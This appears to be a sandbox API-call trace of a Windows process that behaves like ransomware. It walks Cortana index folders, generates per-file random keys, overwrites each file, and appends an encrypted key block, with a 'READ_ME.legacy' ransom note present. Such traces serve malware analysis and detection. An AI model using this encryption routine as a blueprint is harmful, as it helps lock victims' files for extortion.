1 [0181.405] FindNextFileW (in: hFindFile=0x2f731b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a4ab69, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf8a4ab69, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf8a4ab69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.405] FindNextFileW (in: hFindFile=0x2f731b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a4ab69, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf8a4ab69, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf8a4ab69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0181.405] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0181.405] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.405] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\Apps.index", dwFileAttributes=0x80) returned 1 [0181.408] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\Apps.index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\apps.index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0181.408] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=154860) returned 1 [0181.408] ReadFile (in: hFile=0x1afc, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0x25cec, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0x25cec, lpOverlapped=0x0) returned 1 [0181.447] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-154860, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.447] WriteFile (in: hFile=0x1afc, lpBuffer=0x3520048*, nNumberOfBytesToWrite=0x25cec, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3520048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x25cec, lpOverlapped=0x0) returned 1 [0181.447] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x25cec [0181.448] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.448] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.448] WriteFile (in: hFile=0x1afc, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.448] WriteFile (in: hFile=0x1afc, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.448] CloseHandle (hObject=0x1afc) returned 1 [0181.449] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0181.450] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.450] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\Apps.ft", dwFileAttributes=0x80) returned 1 [0181.450] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\Apps.ft" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\apps.ft"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0181.451] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=28943) returned 1 [0181.451] ReadFile (in: hFile=0x1afc, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x710f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x710f, lpOverlapped=0x0) returned 1 [0181.463] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-28943, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.463] WriteFile (in: hFile=0x1afc, lpBuffer=0x30e4168*, nNumberOfBytesToWrite=0x710f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4168*, lpNumberOfBytesWritten=0x2e1f9bc*=0x710f, lpOverlapped=0x0) returned 1 [0181.463] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x710f [0181.463] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.463] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.464] WriteFile (in: hFile=0x1afc, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.464] WriteFile (in: hFile=0x1afc, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.464] CloseHandle (hObject=0x1afc) returned 1 [0181.465] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0181.465] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.465] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.2.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0181.466] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.2.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.2.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0181.467] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5) returned 1 [0181.467] ReadFile (in: hFile=0x1afc, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0181.467] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.468] WriteFile (in: hFile=0x1afc, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0181.468] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5 [0181.468] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.468] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.468] WriteFile (in: hFile=0x1afc, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.468] WriteFile (in: hFile=0x1afc, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.468] CloseHandle (hObject=0x1afc) returned 1 [0181.477] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0181.477] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.477] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.1.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0181.483] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.1.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.1.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0181.483] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5) returned 1 [0181.483] ReadFile (in: hFile=0x1afc, lpBuffer=0x5c3538, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesRead=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0181.484] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.484] WriteFile (in: hFile=0x1afc, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0181.484] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5 [0181.485] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.485] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.485] WriteFile (in: hFile=0x1afc, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.485] WriteFile (in: hFile=0x1afc, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.485] CloseHandle (hObject=0x1afc) returned 1 [0181.487] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0181.487] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.487] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.0.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0181.491] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.0.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\0.0.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0181.491] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=21530) returned 1 [0181.491] ReadFile (in: hFile=0x1afc, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x541a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x541a, lpOverlapped=0x0) returned 1 [0181.500] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-21530, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.501] WriteFile (in: hFile=0x1afc, lpBuffer=0x30e2478*, nNumberOfBytesToWrite=0x541a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x541a, lpOverlapped=0x0) returned 1 [0181.501] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x541a [0181.501] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.501] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.501] WriteFile (in: hFile=0x1afc, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.501] WriteFile (in: hFile=0x1afc, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.501] CloseHandle (hObject=0x1afc) returned 1 [0181.503] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aefe5fb, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x31247c5d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xf8a4ab69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f738b0 [0181.503] FindNextFileW (in: hFindFile=0x2f738b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aefe5fb, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x31247c5d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xf8a4ab69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.503] FindNextFileW (in: hFindFile=0x2f738b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aeeb4d9, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x2aeeb4d9, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x2ee14d1f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x541a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0.0.filtertrie.intermediate.txt", cAlternateFileName="00FILT~1.TXT")) returned 1 [0181.503] FindNextFileW (in: hFindFile=0x2f738b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ee14d1f, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x2ee14d1f, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x2f3256de, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0.1.filtertrie.intermediate.txt", cAlternateFileName="01FILT~1.TXT")) returned 1 [0181.503] FindNextFileW (in: hFindFile=0x2f738b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f3256de, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x2f3256de, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x2f3256de, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0.2.filtertrie.intermediate.txt", cAlternateFileName="02FILT~1.TXT")) returned 1 [0181.504] FindNextFileW (in: hFindFile=0x2f738b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31247c5d, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x31247c5d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x352a25c7, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x710f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Apps.ft", cAlternateFileName="")) returned 1 [0181.504] FindNextFileW (in: hFindFile=0x2f738b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bae9250, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x1bae9250, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x353872e6, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x25cce, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Apps.index", cAlternateFileName="APPS~1.IND")) returned 1 [0181.504] FindNextFileW (in: hFindFile=0x2f738b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a4ab69, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf8a4ab69, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf8a4ab69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.504] FindNextFileW (in: hFindFile=0x2f738b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a4ab69, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf8a4ab69, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf8a4ab69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0181.504] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0181.504] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0181.504] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\Apps.index", dwFileAttributes=0x80) returned 1 [0181.505] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\Apps.index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\apps.index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b00 [0181.505] GetFileSizeEx (in: hFile=0x1b00, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=154830) returned 1 [0181.505] ReadFile (in: hFile=0x1b00, lpBuffer=0x2ee3010, nNumberOfBytesToRead=0x25cce, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesRead=0x2e1f9bc*=0x25cce, lpOverlapped=0x0) returned 1 [0181.522] SetFilePointer (in: hFile=0x1b00, lDistanceToMove=-154830, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.522] WriteFile (in: hFile=0x1b00, lpBuffer=0x3520048*, nNumberOfBytesToWrite=0x25cce, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3520048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x25cce, lpOverlapped=0x0) returned 1 [0181.522] SetFilePointer (in: hFile=0x1b00, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x25cce [0181.523] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.523] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.523] WriteFile (in: hFile=0x1b00, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.523] WriteFile (in: hFile=0x1b00, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.523] CloseHandle (hObject=0x1b00) returned 